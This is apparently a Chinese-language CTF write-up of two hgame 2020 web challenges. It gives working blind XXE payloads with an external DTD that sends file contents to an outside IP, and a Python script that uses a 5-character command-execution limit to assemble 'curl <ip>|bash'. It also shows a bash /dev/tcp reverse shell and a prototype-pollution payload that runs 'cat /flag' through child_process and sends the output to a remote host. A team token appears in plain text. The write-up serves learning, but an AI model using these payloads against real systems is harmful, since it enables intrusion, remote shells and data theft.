代打出题人服务中心

0x01

这个题断断续续踩坑无数,还是因为自己基础知识不够,还是呀多注意基础,多总结

开始是一个xml,没有回显, Blind OOB XXE, 开始用file:// 协议,nc啥都收不到,踩坑很久, 后来换php://filter/convert.base64-encode/resource= 读出源码,

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "php://filter/read/convert.base64-encode/resource=submit.php"> ]>
<msg><id>&goodies;</id><name>111</name><level>1 1</level><time>1 1</time>
</msg>



<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://blogb.wendelltong.xyz/static/test.dtd">
<msg><id>&xxe;</id><name> 12</name><level>1 1</level><time>1 1</time></msg>

# test.dtd
<!ENTITY % file SYSTEM "php://filter/read/convert.base64-encode/resource=/etc/hostname">
<!ENTITY % all "<!ENTITY xxe SYSTEM 'http://118.24.169.134:9999/?%file;'>">
%all;

nc -lvnp 9999
```

加载xxe,然后用PDO入库操作, 都是绑定参数,没有拼接,然后没有关模拟预编译,可能存在宽字节注入问题,但是xml里面,%df不好输入进去,

直接拿burp fuzz一下常见的系统文件

```
# host

127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.21.0.76 hgame-private
172.21.0.31 f9f1b9b99e13
```

```
# passwd
```

当时有两个思路,想办法试试宽字节注入,打内网,

开始打内网直接http协议加ip,访问没什么反映,然后py出题人,出题人说现在还早,

这样应该不是注入,还是打内网

0x02

翻到网络安全管理职业技能竞赛的writeup,意识到应该这样读

```
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=http://hgame-private/index.php?token=eo32NkxHpqpOolcVGWEkgKNJQsBckI2x">
<!ENTITY % all "<!ENTITY xxe SYSTEM 'http://118.24.169.134:9999/?%file;'>">
%all;
```

第一次读提示带上队伍token,带上了在读就没回显了,再次py出题人,出题人说题没问题

因为想着用xxe打内网,一个不会很复杂,所以要不就是读取有问题,要不就本来就没回显,可能是注入,试了半天注入无果,想着用伪协议换换编码

```
php://filter/read=string.rot13/resource=   发现不能用,require 好像都不行

用php过滤器的一个压缩的方法

压缩：echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd");
解压：echo file_get_contents("php://filter/read=convert.base64-decode/zlib.inflate/resource=/tmp/1");
```

成功读到源码

```
<?php



//echo file_get_contents("php://filter/read=convert.base64-decode/zlib.inflate/resource=test1.txt");
$token = @$_GET['token'];
if (!isset($token)) {
    die("请带上您的队伍token访问! /?token=");
}
$api = "http://checker/?token=".$token;
$t = file_get_contents($api);
if($t !== "ok") {
    die("队伍token错误");
}

highlight_file(__FILE__);
$toke=1;
$sandbox = './sandbox/'. md5("hgame2020" . $token);;
mkdir($sandbox);
chdir($sandbox);

$content = $_GET['v'];
if (isset($content)) {
    $cmd = substr($content,0,5);
    system($cmd);
}else if (isset($_GET['r'])) {
    system('rm -rf ./*');
}
```

限制长度的命令执行,一翻搜索在这里绕过长度执行命令姿势,看到一个限制长度5,get shell的,

```
import requests
from urllib import parse
baseurl = "http://120.79.33.253:9003/?cmd="
reset = "http://120.79.33.253:9003/?reset"
s = requests.session()
# s.get(reset)

proxies = {
    'http': 'http://127.0.0.1:8080/',
    'https': 'https://127.0.0.1:8080/'
}

xml =''' <?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=http://hgame-private/index.php?token=eo32NkxHpqpOolcVGWEkgKNJQsBckI2x&v={data}"> ]>
<msg><id>&goodies;</id><name>11</name><level>1 1</level><time>1 1</time></msg>'''

# xml =''' <?xml version="1.0" encoding="utf-8"?>
# <!DOCTYPE creds [
# <!ENTITY goodies SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=http://wendell.tong:8890/codeaudit/teet1.php?token=eo32NkxHpqpOolcVGWEkgKNJQsBckI2x&v={data}"> ]>
# <msg><id>&goodies;</id><name>11</name><level>1 1</level><time>1 1</time></msg>'''
# xml2 = ''' <?xml version="1.0" encoding="utf-8"?>
# <!DOCTYPE creds [
# <!ENTITY goodies SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=http://wendell.tong:8890/codeaudit/teet1.php??token=eo32NkxHpqpOolcVGWEkgKNJQsBckI2x&r=1"> ]>
# <msg><id>&goodies;</id><name>11</name><level>1 1</level><time>1 1</time></msg>'''

xml2 = '''<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=http://hgame-private/index.php?token=eo32NkxHpqpOolcVGWEkgKNJQsBckI2x&r=1"> ]>
<msg><id>&goodies;</id><name>11</name><level>1 1</level><time>1 1</time></msg>'''

url = "http://bdctr.hgame.day-day.work/submit.php"

# url = "http://wendell.tong:8890/codeaudit/hgame/week4%e6%89%93%e5%87%ba%e9%a2%98%e4%ba%ba/submit.php"
# 将ls -t 写入文件_
list1=[
    r">ls\\",
    r"ls>_",
    r">\ \\",
    r">-t\\",
    r">\>y",
    r"ls>>_"
]

# curl 120.79.33.253|bash

# curl 118.24.169.134
# list2=[
# #     ">bash",
# #     ">\|\\",
# #     ">53\\",
# #     ">2\\",
# #     ">3.\\",
# #     ">3\\",
# #     ">9.\\",
# #     ">7\\",
# #     ">0.\\",
# #     ">12\\",
# #     ">\ \\",
# #     ">rl\\",
# #     ">cu\\"
# # ]

list2=[
    r">bash",
    r">\|\\",
    r">34\\",
    r">1\\",
    r">9.\\",
    r">16\\",
    r">4.\\",
    r">2\\",
    r">8.\\",
    r">11\\",
    r">\ \\",
    r">rl\\",
    r">cu\\"
]
s.post(url, data=xml2, headers={'Content-Type':'text/xml'}, proxies=proxies)
for i in list1:
    #url = baseurl+str(i)
    s.post(url, data=xml.format(data=parse.quote(i)), headers={'Content-Type':'text/xml'}, proxies=proxies)

for j in list2:
    #url = baseurl+str(j)
    s.post(url, data=xml.format(data=parse.quote(j)), headers={'Content-Type':'text/xml'}, proxies=proxies)

# s.get(baseurl+"sh _")
# s.get(baseurl+"sh y")

s.post(url, data=xml.format(data=parse.quote("sh _")), headers={'Content-Type':'text/xml'}, proxies=proxies)
s.post(url, data=xml.format(data=parse.quote("sh y")), headers={'Content-Type':'text/xml'}, proxies=proxies)
#s.get(reset)

print('1');
```

把原来的脚本改改,它原来的list里没加r,导致pythn转义,成果不了,跑一下,

```
把这个文件写入自己服务器
bash -i >& /dev/tcp/118.24.169.134/7777 0>&1

curl 118.24.169.134|bash

nc -lv 7777
```

getshell,

然后

```
find / -name *flag*
```

没找到flag,后来在服务器乱翻,在/etc 目录下看到fa1gg

这次还是学了很多东西的,自己还是实战经验太少.

参考资料

一篇文章带你深入理解漏洞之 XXE 漏洞

从一道ctf题目学到的绕过长度执行命令姿势

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

https://xz.aliyun.com/t/4059#toc-4

https://www.cnblogs.com/-chenxs/p/11981586.html

https://www.sohu.com/a/208155480_354899

post请求四种传送正文方式

PDO场景下的SQL注入探究

从宽字节注入认识PDO的原理和正确使用

2019年中国技能大赛—网络安全管理职业技能竞赛个人CTF-web&pwn-writeup

[https://www.ctfwp.com/articals/2019unctf.html#kk%E6%88%98%E9%98%9F%E7%9A%84%E8%80%81%E5%AE%B6#](

sekiro

现学一下express,JavaScript原型链污染,

payload

```
{"__proto__":{"additionalEffect":"var require = global.require || global.process.mainModule.constructor._load;var result = require('child_process').execSync('cat /flag').toString();var req = require('http').request(`http:/118.24.169.134:9999/${result}`);req.end();"},"solution":"1"}
```

要注意等没有影响的技能,然后发送payload